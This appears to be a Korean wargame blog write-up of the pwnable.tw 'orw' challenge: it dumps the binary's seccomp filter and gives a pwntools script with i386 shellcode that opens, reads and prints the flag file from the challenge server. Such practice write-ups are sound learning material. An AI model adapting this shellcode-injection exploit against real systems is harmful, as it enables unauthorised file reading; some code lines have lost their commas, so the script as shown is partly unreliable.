본문으로 바로가기

pwnable.tw / orw

category Wargame/pwnable.tw 2020. 5. 31. 19:58
void __cdecl orw_seccomp()
{
  sock_fprog prog; // [esp+4h] [ebp-84h]
  sock_filter filter[12]; // [esp+Ch] [ebp-7Ch]
  unsigned int __canary; // [esp+6Ch] [ebp-1Ch]

  __canary = __readgsdword(0x14u);

  qmemcpy(filter, ::filter, sizeof(filter));
  prog.len = 12;
  prog.filter = filter;

  prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
  prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}

 

main 에서 orw_seccomp 함수를 처음에 호출한다. PR_SET_SECCOMP 로 syscall 필터링을 설정한다.

 

syine@MinetaLinux:/media/sf_VMShare/pwnable.tw$ seccomp-tools dump ./orw
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011
 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011
 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011
 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011
 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011
 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38)
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

 

filter를 덤프뜨면 위와 같이 사용할 수 있는 syscall 목록을 볼 수 있다.

flag 파일 위치를 알려주기 때문에 (/home/orw/flag), 파일 open 한 뒤 read로 플래그 읽고 stdout으로 출력하면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
import argparse


def log_info(string) :
    sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode())

def exploit() :
    # shellcode = 0x804A060
    # code at shellcode+0x0, data at shellcode+0x80 (0x804A0E0)
    #    data+0x0  : /home/orw/flag\x00
    #    data+0x20 : [flag]
    #
    # int fd = sys_open("/home/orw/flag");
    # sys_read(fd, flag, 0x30);
    # sys_write(1, flag, 0x30);
    # sys_exit(0);

    shellcode = '''
    mov ebx, 0x804A0E0
    xor ecx, ecx
    xor edx, edx
    mov eax, 5
    int 0x80
    mov ebx, eax
    mov ecx, 0x804A100
    mov edx, 0x30
    mov eax, 3
    int 0x80
    mov ebx, 1
    mov eax, 4
    int 0x80
    mov ebx, 0
    mov eax, 1
    int 0x80
    '''


    payload = asm(shellcode)
    payload = payload.ljust(0x80b'\x00')

    if args.remote :
        payload += b'/home/orw/flag\x00'
    else :
        payload += b'./flag\x00'

    p.writeafter(b':', payload)
    flag = p.read().replace(b'\x00'b'').decode()
    log_info('flag: '+flag)

    p.close()


if __name__ == '__main__' :
    context.arch = 'i386'

    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('chall.pwnable.tw'10001)
    else :
        p = process('./orw')

    exploit()

 

 

 

Last update: 10/21/2020

'Wargame > pwnable.tw' 카테고리의 다른 글

pwnable.tw / Start  (0) 2020.05.31